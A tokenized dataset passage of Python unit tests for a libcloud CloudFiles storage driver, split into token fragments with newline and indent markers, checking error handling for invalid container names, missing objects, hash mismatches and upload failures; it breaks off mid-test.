"\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "container", "\\u", "invalid", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "container_", "=_", "self_", "._", "driver_", "._", "create", "\\u", "container_", "(_", "container", "\\u", "name_", "=_", "'", "invalid", "//", "name", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Inva", "lid", " ", "name", " ", "was", " ", "provided", " ", "(", "name", " ", "contain", "s", " ", "slash", "es", "),", " ", "but", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "container", "\\u", "invalid", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "''_", "._", "join_", "(_", "[_", "'", "x", "'_", "for_", "x_", "in_", "range_", "(_", "0_", ",_", "257_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "container_", "=_", "self_", "._", "driver_", "._", "create", "\\u", "container_", "(_", "container", "\\u", "name_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Inva", "lid", " ", "name", " ", "was", " ", "provided", " ", "(", "name", " ", "is", " ", "too", " ", "long", "),", " ", "but", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "container", "\\u", "not", "\\u", "found_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cloud", "Files", "Moc", "k", "Http_", "._", "type_", "=_", "'", "NOT", "\\u", "FO", "UND", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "driver_", "._", "delete", "\\u", "container_", "(_", "container_", "=_", "container_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Containe", "r", "Do", "es", "Not", "Exist", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Containe", "r", " ", "doe", "s", " ", "not", " ", "exist", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "container", "\\u", "not", "\\u", "empty_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cloud", "Files", "Moc", "k", "Http_", "._", "type_", "=_", "'", "NOT", "\\u", "EMP", "TY", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "driver_", "._", "delete", "\\u", "container_", "(_", "container_", "=_", "container_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Containe", "r", "Is", "Not", "Emp", "ty", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Containe", "r", " ", "is", " ", "not", " ", "empty", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "download", "\\u", "object\\u", "success", "\\u", "not", "\\u", "found_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cloud", "Files", "Moc", "k", "Http_", "._", "type_", "=_", "'", "NOT", "\\u", "FO", "UND", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "Object_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "object", "'_", ",_", "size_", "=_", "1000_", ",_", "hash_", "=_", "None_", ",_", "extra_", "=_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "container_", "=_", "container_", ",_", "meta", "\\u", "data_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "driver_", "=_", "Cloud", "Files", "Stor", "age", "Driver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "destinat", "ion", "\\u", "path_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "driver_", "._", "download", "\\u", "object_", "(_", "obj_", "=_", "obj_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "destinat", "ion", "\\u", "path_", "=_", "destinat", "ion", "\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "overwrit", "e\\u", "existing_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "delete", "\\u", "on", "\\u", "failure_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Object", "Do", "es", "Not", "Exist", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Object", " ", "doe", "s", " ", "not", " ", "exist", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "upload", "\\u", "object\\u", "invalid", "\\u", "hash_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "upload", "\\u", "file_", "(_", "self_", ",_", "response_", ",_", "file", "\\u", "path_", ",_", "chunked", "_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "calcul", "ate", "\\u", "hash_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", ",_", "'", "hash", "343", "hh", "ash", "89", "h", "932", "439", "js", "aa", "89", "'_", ",_", "1000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Cloud", "Files", "Moc", "k", "Ra", "w", "Response_", "._", "type_", "=_", "'", "INVALID", "\\u", "HAS", "H", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "old", "\\u", "func_", "=_", "Cloud", "Files", "Stor", "age", "Driver_", "._", "\\u", "upload", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cloud", "Files", "Stor", "age", "Driver_", "._", "\\u", "upload", "\\u", "file_", "=_", "upload", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "name_", "=_", "'", "foo", "\\u", "test\\u", "upload", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "driver_", "._", "upload", "\\u", "object_", "(_", "file", "\\u", "path_", "=_", "file", "\\u", "path_", ",_", "container_", "=_", "container_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "object\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "hash_", "=_", "'", "foot", "est", "123", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Object", "Hash", "Mismatch", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Inva", "lid", " ", "hash", " ", "was", " ", "return", "ed", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cloud", "Files", "Stor", "age", "Driver_", "._", "\\u", "upload", "\\u", "file_", "=_", "old", "\\u", "func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "upload", "\\u", "object\\u", "no", "\\u", "content", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "no", "\\u", "content", "\\u", "type_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "old", "\\u", "func_", "=_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "no", "\\u", "content", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "name_", "=_", "'", "foo", "\\u", "test\\u", "upload", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "driver_", "._", "upload", "\\u", "object_", "(_", "file", "\\u", "path_", "=_", "file", "\\u", "path_", ",_", "container_", "=_", "container_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "object\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "File", " ", "content", " ", "type", " ", "not", " ", "provided", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "old", "\\u", "func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "upload", "\\u", "object\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "dummy", "\\u", "content", "\\u", "type_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "applica", "tion", "/", "zip", "'_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send_", "(_", "instance_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "old", "\\u", "func", "1_", "=_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "dummy", "\\u", "content", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "func", "2_", "=_", "Cloud", "Files", "Moc", "k", "Http_", "._", "send_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cloud", "Files", "Moc", "k", "Http_", "._", "send_", "=_", "send_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "name_", "=_", "'", "foo", "\\u", "test\\u", "upload", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "driver_", "._", "upload", "\\u", "object_", "(_", "file", "\\u", "path_", "=_", "file", "\\u", "path_", ",_", "container_", "=_", "container_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "object\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Lib", "cloud", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Time", "out", " ", "whi", "le", " ", "upload", "ing", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "old", "\\u", "func", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cloud", "Files", "Moc", "k", "Http_", "._", "send_", "=_", "old", "\\u", "func", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "upload", "\\u", "object\\u", "ine", "xist", "ent", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "dummy", "\\u", "content", "\\u", "type_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "applica", "tion", "/", "zip", "'_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "old", "\\u", "func_", "=_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "dummy", "\\u", "content", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", "+_", "'.", "ine", "xist", "ent", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "name_", "=_", "'", "foo", "\\u", "test\\u", "upload", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "driver_", "._", "upload", "\\u", "object_", "(_", "file", "\\u", "path_", "=_", "file", "\\u", "path_", ",_", "container_", "=_", "container_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "object\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Ine", "site", "nt", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "old", "\\u", "func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "upload", "\\u", "object\\u", "via", "\\u", "stream_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "dummy", "\\u", "content", "\\u", "type_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "applica", "tion", "/", "zip", "'_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "old", "\\u", "func_", "=_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "dummy", "\\u", "content", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "name_", "=_", "'", "foo", "\\u", "test\\u", "stream", "\\u", "data", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iterator_", "=_", "Du", "mm", "y", "Iterator_", "(_", "data_", "=_", "[_", "'", "2", "'_", ",_", "'", "3", "'_", ",_", "'", "5", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "driver_", "._", "upload", "\\u", "object\\u", "via", "\\u", "stream_", "(_", "container_", "=_", "container_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "name_", "=_", "object\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "iterator_", "=_", "iterator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "libc", "loud", "_", "._", "utils_", "._", "guess", "\\u", "file", "\\u", "mime", "\\u", "type_", "=_", "old", "\\u", "func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "object\\u", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cloud", "Files", "Moc", "k", "Http_", "._", "type_", "=_", "'", "NOT", "\\u", "FO", "UND", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "container_", "=_", "Container_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "container", "'_", ",_", "extra_", "=_", "{_", "}_", ",_", "driver_", "=_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "Object_", "(_", "name_", "=_", "'", "foo", "\\u", "bar", "\\u", "object", "'_", ",_", "size_", "=_", "1000_", ",_", "hash_", "=_", "None_", ",_", "extra_", "=_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "container_", "=_", "container_", ",_", "meta", "\\u", "data_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "driver_", "=_", "Cloud", "Files", "Stor", "age", "Driver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "driver_", "._", "delete", "\\u", "object_", "(_", "obj_", "=_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Object", "Do", "es", "Not", "Exist", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Object", " ", "doe", "s", " ", "not", " ", "exist", " ", "but", " ", "an", " 